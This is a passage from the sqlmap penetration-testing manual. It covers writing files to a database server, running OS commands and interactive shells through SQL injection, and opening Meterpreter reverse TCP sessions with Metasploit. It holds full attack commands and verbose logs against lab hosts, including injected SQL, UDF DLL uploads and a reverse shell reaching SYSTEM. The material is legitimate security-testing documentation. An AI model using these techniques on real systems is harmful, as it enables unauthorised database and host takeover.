[hh:mm:36] [INFO] fingerprinting the back-end DBMS operating system
|
|
[hh:mm:36] [INFO] retrieved: C
|
|
[hh:mm:36] [INFO] the back-end DBMS operating system is Windows
|
|
do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been successfully
|
|
written on the back-end DBMS file system? [Y/n] y
|
|
[hh:mm:52] [INFO] retrieved: 31744
|
|
[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 bytes,
|
|
same size as the local file '/tmp/nc.exe.packed'
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Example on a <B>PostgreSQL 8.4</B> target to upload a text file:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u http://172.16.213.131/sqlmap/pgsql/get_int8.4.php?id=1 \
|
|
--write-file /etc/passwd --dest-file /tmp/writtenfrompgsql -v 1
|
|
|
|
[...]
|
|
web application technology: PHP 5.2.6, Apache 2.2.9
|
|
back-end DBMS: PostgreSQL
|
|
|
|
[hh:mm:01] [INFO] testing stacked queries support on parameter 'id'
|
|
[hh:mm:01] [INFO] detecting back-end DBMS version from its banner
|
|
[hh:mm:01] [INFO] retrieved: 8.4.2
|
|
[hh:mm:07] [INFO] the web application supports stacked queries on parameter 'id'
|
|
[hh:mm:07] [INFO] fingerprinting the back-end DBMS operating system
|
|
[hh:mm:07] [INFO] retrieved: 0
|
|
[hh:mm:07] [INFO] retrieved: 0
|
|
[hh:mm:07] [INFO] the back-end DBMS operating system is Linux
|
|
do you want confirmation that the file '/tmp/writtenfrompgsql' has been successfully
|
|
written on the back-end DBMS file system? [Y/n]
|
|
[hh:mm:14] [INFO] retrieved: 2264
|
|
[hh:mm:14] [INFO] the file has been successfully written and its size is 2264 bytes,
|
|
same size as the local file '/etc/passwd'
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
|
|
<H2><A NAME="ss5.10">5.10</A> <A HREF="#toc5.10">Operating system access</A>
|
|
</H2>
|
|
|
|
<H3>Execute arbitrary operating system command</H3>
|
|
|
|
<P>Options: <CODE>-</CODE><CODE>-os-cmd</CODE> and <CODE>-</CODE><CODE>-os-shell</CODE></P>
|
|
|
|
<P>It is possible to execute arbitrary commands on the underlying operating
|
|
system when the back-end database management system is either MySQL,
|
|
PostgreSQL or Microsoft SQL Server, and the session user has the needed
|
|
privileges to abuse database specific functionalities and architectural
|
|
weaknesses.</P>
|
|
|
|
<P>On MySQL and PostgreSQL, sqlmap uploads (via the file upload functionality
|
|
explained above) a shared library (binary file) containing two
|
|
user-defined functions, <CODE>sys_exec()</CODE> and <CODE>sys_eval()</CODE>, then
|
|
it creates these two functions on the database and call one of them to
|
|
execute the specified command, depending on the user's choice to display
|
|
the standard output or not.
|
|
On Microsoft SQL Server, sqlmap abuses the <CODE>xp_cmshell</CODE> stored
|
|
procedure: if it's disabled, sqlmap re-enables it; if it does not exist,
|
|
sqlmap creates it from scratch.</P>
|
|
|
|
<P>If the user wants to retrieve the command standard output, sqlmap will use
|
|
one of the enumeration SQL injection techniques (blind or inband) to
|
|
retrieve it or, in case of stacked query SQL injection technique,
|
|
sqlmap will execute the command without returning anything to the user.</P>
|
|
|
|
<P>These techniques are detailed in the white paper
|
|
<A HREF="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf">Advanced SQL injection to operating system full control</A>.</P>
|
|
|
|
<P>It is possible to specify a single command to be executed with the
|
|
<CODE>-</CODE><CODE>-os-cmd</CODE> option.</P>
|
|
|
|
<P>Example on a <B>PostgreSQL 8.3.5</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.aspx?id=1" \
|
|
--os-cmd "whoami" -v 1
|
|
|
|
[...]
|
|
[hh:mm:05] [INFO] the back-end DBMS is PostgreSQL
|
|
web server operating system: Windows 2003 or 2008
|
|
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
|
|
back-end DBMS: PostgreSQL
|
|
|
|
[hh:mm:05] [INFO] testing stacked queries support on parameter 'id'
|
|
[hh:mm:05] [INFO] detecting back-end DBMS version from its banner
|
|
[hh:mm:05] [INFO] retrieved: 8.3.5,
|
|
[hh:mm:15] [INFO] the web application supports stacked queries on parameter 'id'
|
|
[hh:mm:15] [INFO] fingerprinting the back-end DBMS operating system
|
|
[hh:mm:15] [INFO] retrieved: 1
|
|
[hh:mm:16] [INFO] the back-end DBMS operating system is Windows
|
|
[hh:mm:16] [INFO] testing if current user is DBA
|
|
[hh:mm:16] [INFO] retrieved: 1
|
|
[hh:mm:16] [INFO] checking if sys_exec UDF already exist
|
|
[hh:mm:16] [INFO] retrieved: 0
|
|
[hh:mm:18] [INFO] checking if sys_eval UDF already exist
|
|
[hh:mm:18] [INFO] retrieved: 0
|
|
[hh:mm:20] [INFO] creating sys_exec UDF from the binary UDF file
|
|
[hh:mm:20] [INFO] creating sys_eval UDF from the binary UDF file
|
|
do you want to retrieve the command standard output? [Y/n]
|
|
[hh:mm:35] [INFO] retrieved: w2k3dev\postgres
|
|
command standard output: 'w2k3dev\postgres'
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Example on a <B>Microsoft SQL Server 2005 Service Pack 0</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/iis/get_str2.asp?name=luther" \
|
|
--os-cmd "whoami" --union-use -v 1
|
|
|
|
[...]
|
|
[hh:mm:58] [INFO] the back-end DBMS is Microsoft SQL Server
|
|
web server operating system: Windows 2000
|
|
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
|
|
back-end DBMS: Microsoft SQL Server 2005
|
|
|
|
[hh:mm:58] [INFO] testing inband sql injection on parameter 'name' with NULL bruteforcing
|
|
technique
|
|
[hh:mm:58] [INFO] confirming full inband sql injection on parameter 'name'
|
|
[hh:mm:58] [WARNING] the target url is not affected by an exploitable full inband sql
|
|
injection vulnerability
|
|
[hh:mm:58] [INFO] confirming partial (single entry) inband sql injection on parameter 'name'
|
|
by appending a false condition after the parameter value
|
|
[hh:mm:58] [INFO] the target url is affected by an exploitable partial (single entry) inband
|
|
sql injection vulnerability
|
|
valid union: 'http://172.16.213.131/sqlmap/mssql/iis/get_str2.asp?name=luther' UNION
|
|
ALL SELECT NULL, NULL, NULL-- AND 'SonLv'='SonLv'
|
|
|
|
[hh:mm:58] [INFO] testing stacked queries support on parameter 'name'
|
|
[hh:mm:03] [INFO] the web application supports stacked queries on parameter 'name'
|
|
[hh:mm:03] [INFO] testing if current user is DBA
|
|
[hh:mm:03] [INFO] checking if xp_cmdshell extended procedure is available, wait..
|
|
[hh:mm:09] [INFO] xp_cmdshell extended procedure is available
|
|
do you want to retrieve the command standard output? [Y/n]
|
|
[hh:mm:11] [INFO] the SQL query provided returns 1 entries
|
|
command standard output:
|
|
---
|
|
nt authority\network service
|
|
---
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>It is also possible to simulate a real shell where you can type as many
|
|
arbitrary commands as you wish. The option is <CODE>-</CODE><CODE>-os-shell</CODE> and has
|
|
the same TAB completion and history functionalities like
|
|
<CODE>-</CODE><CODE>-sql-shell</CODE>.</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.aspx?id=1" \
|
|
--os-shell -v 2
|
|
|
|
[...]
|
|
[hh:mm:36] [INFO] the back-end DBMS is MySQL
|
|
web server operating system: Windows 2003 or 2008
|
|
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
|
|
back-end DBMS: MySQL >= 5.0.0
|
|
|
|
[hh:mm:36] [INFO] testing stacked queries support on parameter 'id'
|
|
[hh:mm:36] [INFO] detecting back-end DBMS version from its banner
|
|
[hh:mm:36] [DEBUG] query: IFNULL(CAST(MID((VERSION()), 1, 6) AS CHAR(10000)), CHAR(32))
|
|
[hh:mm:36] [INFO] retrieved: 5.0.67
|
|
[hh:mm:37] [DEBUG] performed 49 queries in 1 seconds
|
|
[hh:mm:37] [DEBUG] query: SELECT SLEEP(5)
|
|
[hh:mm:42] [INFO] the web application supports stacked queries on parameter 'id'
|
|
[hh:mm:42] [INFO] fingerprinting the back-end DBMS operating system
|
|
[hh:mm:42] [DEBUG] query: DROP TABLE sqlmapfile
|
|
[hh:mm:42] [DEBUG] query: CREATE TABLE sqlmapfile(data text)
|
|
[hh:mm:42] [DEBUG] query: INSERT INTO sqlmapfile(data) VALUES (VERSION())
|
|
[hh:mm:42] [DEBUG] query: SELECT IFNULL(CAST(MID(@@datadir, 1, 1) AS CHAR(10000)), CHAR(32))
|
|
[hh:mm:42] [INFO] retrieved: C
|
|
[hh:mm:42] [DEBUG] performed 14 queries in 0 seconds
|
|
[hh:mm:42] [INFO] the back-end DBMS operating system is Windows
|
|
[hh:mm:42] [DEBUG] cleaning up the database management system
|
|
[hh:mm:42] [DEBUG] removing support tables
|
|
[hh:mm:42] [DEBUG] query: DROP TABLE sqlmapfile
|
|
[hh:mm:42] [INFO] testing if current user is DBA
|
|
[hh:mm:42] [DEBUG] query: SELECT (CASE WHEN ((SELECT super_priv FROM mysql.user WHERE user=
|
|
(SUBSTRING_INDEX(CURRENT_USER(), CHAR(64), 1)) LIMIT 0, 1)=CHAR(89)) THEN 1 ELSE 0 END)
|
|
[hh:mm:42] [INFO] retrieved: 1
|
|
[hh:mm:43] [DEBUG] performed 5 queries in 0 seconds
|
|
[hh:mm:43] [INFO] checking if sys_exec UDF already exist
|
|
[hh:mm:43] [DEBUG] query: SELECT (CASE WHEN ((SELECT name FROM mysql.func WHERE name=
|
|
CHAR(115,121,115,95,101,120,101,99) LIMIT 0, 1)=CHAR(115,121,115,95,101,120,101,99))
|
|
THEN 1 ELSE 0 END)
|
|
[hh:mm:43] [INFO] retrieved: 0
|
|
[hh:mm:43] [DEBUG] performed 14 queries in 0 seconds
|
|
[hh:mm:43] [INFO] checking if sys_eval UDF already exist
|
|
[hh:mm:43] [DEBUG] query: SELECT (CASE WHEN ((SELECT name FROM mysql.func WHERE name=
|
|
CHAR(115,121,115,95,101,118,97,108) LIMIT 0, 1)=CHAR(115,121,115,95,101,118,97,108))
|
|
THEN 1 ELSE 0 END)
|
|
[hh:mm:43] [INFO] retrieved: 0
|
|
[hh:mm:43] [DEBUG] performed 14 queries in 0 seconds
|
|
[hh:mm:43] [DEBUG] going to upload the binary file with stacked query SQL injection technique
|
|
[hh:mm:43] [DEBUG] creating a support table to write the hexadecimal encoded file to
|
|
[hh:mm:43] [DEBUG] query: DROP TABLE sqlmapfile
|
|
[hh:mm:43] [DEBUG] query: CREATE TABLE sqlmapfile(data longblob)
|
|
[hh:mm:43] [DEBUG] encoding file to its hexadecimal string value
|
|
[hh:mm:43] [DEBUG] forging SQL statements to write the hexadecimal encoded file to the
|
|
support table
|
|
[hh:mm:43] [DEBUG] inserting the hexadecimal encoded file to the support table
|
|
[hh:mm:43] [DEBUG] query: INSERT INTO sqlmapfile(data) VALUES (0x4d5a90 [...])
|
|
[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x000000 [...])
|
|
[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0xffcbff [...])
|
|
[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x490068 [...])
|
|
[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x1c5485 [...])
|
|
[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x14cc63 [...])
|
|
[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x207665 [...])
|
|
[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x5c5379 [...])
|
|
[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x0e5bc2 [...])
|
|
[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x505357 [...])
|
|
[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x000000 [...])
|
|
[hh:mm:44] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x696372 [...])
|
|
[hh:mm:44] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0xdd8400 [...])
|
|
[hh:mm:44] [DEBUG] exporting the binary file content to file './libsqlmapudftxxgk.dll'
|
|
[hh:mm:44] [DEBUG] query: SELECT data FROM sqlmapfile INTO DUMPFILE './libsqlmapudftxxgk.dll'
|
|
[hh:mm:44] [DEBUG] cleaning up the database management system
|
|
[hh:mm:44] [DEBUG] removing support tables
|
|
[hh:mm:44] [DEBUG] query: DROP TABLE sqlmapfile
|
|
[hh:mm:44] [INFO] creating sys_exec UDF from the binary UDF file
|
|
[hh:mm:44] [DEBUG] query: DROP FUNCTION sys_exec
|
|
[hh:mm:44] [DEBUG] query: CREATE FUNCTION sys_exec RETURNS int SONAME 'libsqlmapudftxxgk.dll'
|
|
[hh:mm:44] [INFO] creating sys_eval UDF from the binary UDF file
|
|
[hh:mm:44] [DEBUG] query: DROP FUNCTION sys_eval
|
|
[hh:mm:44] [DEBUG] query: CREATE FUNCTION sys_eval RETURNS string SONAME
|
|
'libsqlmapudftxxgk.dll'
|
|
[hh:mm:44] [DEBUG] creating a support table to write commands standard output to
|
|
[hh:mm:44] [DEBUG] query: DROP TABLE sqlmapoutput
|
|
[hh:mm:44] [DEBUG] query: CREATE TABLE sqlmapoutput(data longtext)
|
|
[hh:mm:44] [INFO] going to use injected sys_eval and sys_exec user-defined functions for
|
|
operating system command execution
|
|
[hh:mm:44] [INFO] calling Windows OS shell. To quit type 'x' or 'q' and press ENTER
|
|
os-shell> whoami
|
|
do you want to retrieve the command standard output? [Y/n]
|
|
[hh:mm:41] [DEBUG] query: INSERT INTO sqlmapoutput(data) VALUES (sys_eval('whoami'))
|
|
[hh:mm:41] [DEBUG] query: SELECT IFNULL(CAST(data AS CHAR(10000)), CHAR(32)) FROM
|
|
sqlmapoutput
|
|
[hh:mm:41] [INFO] retrieved: nt authority\system
|
|
[hh:mm:44] [DEBUG] performed 140 queries in 2 seconds
|
|
[hh:mm:44] [DEBUG] query: DELETE FROM sqlmapoutput
|
|
command standard output: 'nt authority\system'
|
|
|
|
os-shell> [TAB TAB]
|
|
copy del dir echo md mem move
|
|
net netstat -na ver whoami xcopy
|
|
|
|
os-shell> exit
|
|
[hh:mm:51] [INFO] cleaning up the database management system
|
|
[hh:mm:51] [DEBUG] removing support tables
|
|
[hh:mm:51] [DEBUG] query: DROP TABLE sqlmapfile
|
|
[hh:mm:51] [DEBUG] query: DROP TABLE sqlmapoutput
|
|
do you want to remove sys_exec UDF? [Y/n] n
|
|
do you want to remove sys_eval UDF? [Y/n] n
|
|
[hh:mm:04] [INFO] database management system cleanup finished
|
|
[hh:mm:04] [WARNING] remember that UDF dynamic-link library files saved on the file system
|
|
can only be deleted manually
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Now run it again, but specifying the <CODE>-</CODE><CODE>-union-use</CODE> to retrieve the
|
|
command standard output quicker, via UNION based SQL injection, when the
|
|
parameter is affected also by inband SQL injection vulnerability:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.aspx?id=1" \
|
|
--os-shell -v 2 --union-use
|
|
|
|
[...]
|
|
[hh:mm:16] [INFO] the back-end DBMS is MySQL
|
|
web server operating system: Windows 2003 or 2008
|
|
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
|
|
back-end DBMS: MySQL >= 5.0.0
|
|
|
|
[hh:mm:16] [INFO] testing inband sql injection on parameter 'id' with NULL bruteforcing
|
|
technique
|
|
[hh:mm:16] [INFO] confirming full inband sql injection on parameter 'id'
|
|
[hh:mm:16] [INFO] the target url is affected by an exploitable full inband sql injection
|
|
vulnerability
|
|
valid union: 'http://172.16.213.131/sqlmap/mysql/iis/get_int.aspx?id=1 UNION ALL SELECT
|
|
NULL, NULL, NULL# AND 528=528'
|
|
|
|
[hh:mm:16] [INFO] testing stacked queries support on parameter 'id'
|
|
[hh:mm:16] [INFO] detecting back-end DBMS version from its banner
|
|
[hh:mm:16] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(83,81,73,103,75,77),
|
|
MID((VERSION()), 1, 6),CHAR(117,114,115,75,117,102)), NULL# AND 3173=3173
|
|
[hh:mm:16] [DEBUG] performed 1 queries in 0 seconds
|
|
[hh:mm:16] [DEBUG] query: SELECT SLEEP(5)
|
|
[hh:mm:21] [INFO] the web application supports stacked queries on parameter 'id'
|
|
[hh:mm:21] [INFO] fingerprinting the back-end DBMS operating system
|
|
[hh:mm:21] [DEBUG] query: DROP TABLE sqlmapfile
|
|
[hh:mm:21] [DEBUG] query: CREATE TABLE sqlmapfile(data text)
|
|
[hh:mm:21] [DEBUG] query: INSERT INTO sqlmapfile(data) VALUES (VERSION())
|
|
[hh:mm:21] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(83,81,73,103,75,77),
|
|
MID(@@datadir, 1, 1),CHAR(117,114,115,75,117,102)), NULL# AND 6574=6574
|
|
[hh:mm:21] [DEBUG] performed 1 queries in 0 seconds
|
|
[hh:mm:21] [INFO] the back-end DBMS operating system is Windows
|
|
[hh:mm:21] [DEBUG] cleaning up the database management system
|
|
[hh:mm:21] [DEBUG] removing support tables
|
|
[hh:mm:21] [DEBUG] query: DROP TABLE sqlmapfile
|
|
[hh:mm:21] [INFO] testing if current user is DBA
|
|
[hh:mm:21] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(83,81,73,103,75,77),(CASE
|
|
WHEN ((SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), CHAR(64),
|
|
1)) LIMIT 0, 1)=CHAR(89)) THEN 1 ELSE 0 END),CHAR(117,114,115,75,117,102)), NULL# AND 19=19
|
|
[hh:mm:21] [DEBUG] performed 1 queries in 0 seconds
|
|
[hh:mm:21] [INFO] checking if sys_exec UDF already exist
|
|
[hh:mm:21] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(83,81,73,103,75,77),(CASE WHEN
|
|
((SELECT name FROM mysql.func WHERE name=CHAR(115,121,115,95,101,120,101,99) LIMIT 0, 1)=
|
|
CHAR(115,121,115,95,101,120,101,99)) THEN 1 ELSE 0 END),CHAR(117,114,115,75,117,102)), NULL#
|
|
AND 4900=4900
|
|
[hh:mm:21] [DEBUG] performed 1 queries in 0 seconds
|
|
sys_exec UDF already exists, do you want to overwrite it? [y/N] n
|
|
[hh:mm:24] [INFO] checking if sys_eval UDF already exist
|
|
[hh:mm:24] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(83,81,73,103,75,77),(CASE WHEN
|
|
((SELECT name FROM mysql.func WHERE name=CHAR(115,121,115,95,101,118,97,108) LIMIT 0, 1)=
|
|
CHAR(115,121,115,95,101,118,97,108)) THEN 1 ELSE 0 END),CHAR(117,114,115,75,117,102)), NULL#
|
|
AND 4437=4437
|
|
[hh:mm:24] [DEBUG] performed 1 queries in 0 seconds
|
|
sys_eval UDF already exists, do you want to overwrite it? [y/N] n
|
|
[hh:mm:25] [DEBUG] keeping existing sys_exec UDF as requested
|
|
[hh:mm:25] [DEBUG] keeping existing sys_eval UDF as requested
|
|
[hh:mm:25] [DEBUG] creating a support table to write commands standard output to
|
|
[hh:mm:25] [DEBUG] query: DROP TABLE sqlmapoutput
|
|
[hh:mm:25] [DEBUG] query: CREATE TABLE sqlmapoutput(data longtext)
|
|
[hh:mm:25] [INFO] going to use injected sys_eval and sys_exec user-defined functions for
|
|
operating system command execution
|
|
[hh:mm:25] [INFO] calling Windows OS shell. To quit type 'x' or 'q' and press ENTER
|
|
os-shell> ipconfig
|
|
do you want to retrieve the command standard output? [Y/n]
|
|
[hh:mm:29] [DEBUG] query: INSERT INTO sqlmapoutput(data) VALUES (sys_eval('ipconfig'))
|
|
[hh:mm:29] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(83,81,73,103,75,77),IFNULL(CAST
|
|
(data AS CHAR(10000)), CHAR(32)),CHAR(117,114,115,75,117,102)), NULL FROM sqlmapoutput# AND
|
|
7106=7106
|
|
[hh:mm:29] [DEBUG] performed 1 queries in 0 seconds
|
|
[hh:mm:29] [DEBUG] query: DELETE FROM sqlmapoutput
|
|
command standard output:
|
|
---
|
|
|
|
Windows IP Configuration
|
|
|
|
|
|
Ethernet adapter Local Area Connection 2:
|
|
|
|
Connection-specific DNS Suffix . : localdomain
|
|
IP Address. . . . . . . . . . . . : 172.16.213.131
|
|
Subnet Mask . . . . . . . . . . . : 255.255.255.0
|
|
---Default Gateway . . . . . . . . . : 172.16.213.1
|
|
|
|
os-shell> exit
|
|
[hh:mm:41] [INFO] cleaning up the database management system
|
|
[hh:mm:41] [DEBUG] removing support tables
|
|
[hh:mm:41] [DEBUG] query: DROP TABLE sqlmapfile
|
|
[hh:mm:41] [DEBUG] query: DROP TABLE sqlmapoutput
|
|
do you want to remove sys_exec UDF? [Y/n] n
|
|
do you want to remove sys_eval UDF? [Y/n] n
|
|
[hh:mm:54] [INFO] database management system cleanup finished
|
|
[hh:mm:54] [WARNING] remember that UDF dynamic-link library files saved on the file system
|
|
can only be deleted manually
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>As you can see from this second example, sqlmap firstly check if the two
|
|
user-defined functions are already created, if so, it asks the user if he
|
|
wants to recreate them or keep them and save time.</P>
|
|
|
|
|
|
<H3>Prompt for an out-of-band shell, Meterpreter or VNC</H3>
|
|
|
|
<P>Options: <CODE>-</CODE><CODE>-os-pwn</CODE>, <CODE>-</CODE><CODE>-priv-esc</CODE>, <CODE>-</CODE><CODE>-msf-path</CODE> and <CODE>-</CODE><CODE>-tmp-path</CODE></P>
|
|
|
|
<P>It is possible to establish an <B>out-of-band stateful TCP connection
|
|
between the user machine and the database server</B> underlying operating
|
|
system. This channel can be an interactive command prompt, a Meterpreter
|
|
session or a graphical user interface (VNC) session as per user's choice.
|
|
sqlmap relies on Metasploit to create the shellcode and implements four
|
|
different techniques to execute it on the database server. These
|
|
techniques are:
|
|
<UL>
|
|
<LI>Database <B>in-memory execution of the Metasploit's shellcode</B>
|
|
via sqlmap own user-defined function <CODE>sys_bineval()</CODE>. Supported on
|
|
MySQL and PostgreSQL.</LI>
|
|
<LI>Upload and execution of a Metasploit's <B>stand-alone payload
|
|
stager</B> via sqlmap own user-defined function <CODE>sys_exec()</CODE> on
|
|
MySQL and PostgreSQL or via <CODE>xp_cmdshell()</CODE> on Microsoft SQL
|
|
Server.</LI>
|
|
<LI>Execution of Metasploit's shellcode by performing a <B>SMB
|
|
reflection attack</B> (
|
|
<A HREF="http://www.microsoft.com/technet/security/Bulletin/MS08-068.mspx">MS08-068</A>) with a UNC path request from the database server to
|
|
the user's machine where the Metasploit <CODE>smb_relay</CODE> server exploit
|
|
runs.</LI>
|
|
<LI>Database in-memory execution of the Metasploit's shellcode by
|
|
exploiting <B>Microsoft SQL Server 2000 and 2005
|
|
<CODE>sp_replwritetovarbin</CODE> stored procedure heap-based buffer
|
|
overflow</B> (
|
|
<A HREF="http://www.microsoft.com/technet/security/bulletin/ms09-004.mspx">MS09-004</A>) with automatic DEP bypass.</LI>
|
|
</UL>
|
|
</P>
|
|
|
|
<P>Note that this feature is not supported by sqlmap running on Windows
|
|
because it relies on Metasploit's <CODE>msfcli</CODE> which is not
|
|
available for Windows.</P>
|
|
|
|
<P>These techniques are detailed in the white paper
|
|
<A HREF="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf">Advanced SQL injection to operating system full control</A> and in the
|
|
slide deck
|
|
<A HREF="http://www.slideshare.net/inquis/expanding-the-control-over-the-operating-system-from-the-database">Expanding the control over the operating system from the database</A>.</P>
|
|
|
|
<P>Example on a <B>MySQL 5.1</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.128/sqlmap/mysql/get_int_51.aspx?id=1" \
|
|
--os-pwn -v 1 --msf-path /home/inquis/software/metasploit
|
|
|
|
[...]
|
|
web server operating system: Windows 2003 or 2008
|
|
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
|
|
back-end DBMS: MySQL >= 5.0.0
|
|
|
|
[hh:mm:09] [INFO] testing stacked queries support on parameter 'id'
|
|
[hh:mm:09] [INFO] detecting back-end DBMS version from its banner
|
|
[hh:mm:09] [INFO] retrieved: 5.1.30
|
|
[hh:mm:18] [INFO] the web application supports stacked queries on parameter 'id'
|
|
[hh:mm:18] [INFO] fingerprinting the back-end DBMS operating system
|
|
[hh:mm:18] [INFO] retrieved: C
|
|
[hh:mm:19] [INFO] the back-end DBMS operating system is Windows
|
|
[hh:mm:19] [INFO] testing if current user is DBA
|
|
[hh:mm:19] [INFO] retrieved: 1
|
|
[hh:mm:20] [INFO] checking if UDF 'sys_bineval' already exist
|
|
[hh:mm:20] [INFO] retrieved: 0
|
|
[hh:mm:21] [INFO] checking if UDF 'sys_exec' already exist
|
|
[hh:mm:21] [INFO] retrieved: 0
|
|
[hh:mm:21] [INFO] retrieving MySQL base directory absolute path
|
|
[hh:mm:21] [INFO] retrieved: C:\Program Files\MySQL\MySQL Server 5.1\
|
|
[hh:mm:46] [WARNING] this will only work if the database administrator created manually
|
|
the 'C:/Program Files/MySQL/MySQL Server 5.1/lib/plugin' subfolder
|
|
[hh:mm:47] [INFO] creating UDF 'sys_bineval' from the binary UDF file
|
|
[hh:mm:47] [INFO] creating UDF 'sys_exec' from the binary UDF file
|
|
how do you want to execute the Metasploit shellcode on the back-end database underlying
|
|
operating system?
|
|
[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
|
|
[2] Stand-alone payload stager (file system way)
|
|
> 1
|
|
[hh:mm:51] [INFO] creating Metasploit Framework 3 multi-stage shellcode
|
|
which connection type do you want to use?
|
|
[1] Reverse TCP: Connect back from the database host to this machine (default)
|
|
[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports
|
|
between the specified and 65535
|
|
[3] Bind TCP: Listen on the database host for a connection
|
|
> 1
|
|
which is the local address? [172.16.213.1]
|
|
which local port number do you want to use? [47776]
|
|
which payload do you want to use?
|
|
[1] Meterpreter (default)
|
|
[2] Shell
|
|
[3] VNC
|
|
> 1
|
|
[hh:mm:55] [INFO] creation in progress .............................................. done
|
|
[hh:mm:41] [INFO] running Metasploit Framework 3 command line interface locally, wait..
|
|
[*] Please wait while we load the module tree...
|
|
[*] Started reverse handler on 172.16.213.1:47776
|
|
[*] Starting the payload handler...
|
|
[hh:mm:22] [INFO] running Metasploit Framework 3 shellcode remotely via UDF 'sys_bineval', wait..
|
|
[*] Sending stage (748032 bytes)
|
|
[*] Meterpreter session 1 opened (172.16.213.1:47776 -> 172.16.213.128:2176)
|
|
|
|
meterpreter > Loading extension espia...success.
|
|
meterpreter > Loading extension incognito...success.
|
|
meterpreter > Loading extension priv...success.
|
|
meterpreter > Loading extension sniffer...success.
|
|
meterpreter > Computer: W2K3DEV
|
|
OS : Windows .NET Server (Build 3790, Service Pack 2).
|
|
Arch : x86
|
|
Language: en_US
|
|
meterpreter > Server username: NT AUTHORITY\SYSTEM
|
|
meterpreter > ipconfig
|
|
|
|
MS TCP Loopback interface
|
|
Hardware MAC: 00:00:00:00:00:00
|
|
IP Address : 127.0.0.1
|
|
Netmask : 255.0.0.0
|
|
|
|
|
|
|
|
VMware Accelerated AMD PCNet Adapter #2
|
|
Hardware MAC: 00:0c:29:86:69:1b
|
|
IP Address : 172.16.213.128
|
|
Netmask : 255.255.255.0
|
|
|
|
|
|
meterpreter > exit
|
|
|
|
[hh:mm:52] [INFO] cleaning up the database management system
|
|
do you want to remove UDF 'sys_bineval'? [Y/n]
|
|
do you want to remove UDF 'sys_exec'? [Y/n]
|
|
[hh:mm:54] [INFO] database management system cleanup finished
|
|
[hh:mm:54] [WARNING] remember that UDF dynamic-link library files and Metasploit related
|
|
files in the temporary folder saved on the file system can only be deleted manually
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>By default MySQL on Windows runs as <CODE>SYSTEM</CODE>, however PostgreSQL
|
|
runs as a low-privileged user <CODE>postgres</CODE> on both Windows and Linux.
|
|
Microsoft SQL Server 2000 by default runs as <CODE>SYSTEM</CODE>, whereas
|
|
Microsoft SQL Server 2005 and 2008 run most of the times as <CODE>NETWORK
|
|
SERVICE</CODE> and sometimes as <CODE>LOCAL SERVICE</CODE>.</P>
|
|
<P>It is possible to provide sqlmap with the <CODE>-</CODE><CODE>-priv-esc</CODE>
|
|
option to perform a <B>database process' user privilege escalation</B>
|
|
via Metasploit's <CODE>getsystem</CODE> command which include, among others,
|
|
the
|
|
<A HREF="http://archives.neohapsis.com/archives/fulldisclosure/2010-01/0346.html">kitrap0d</A> technique (
|
|
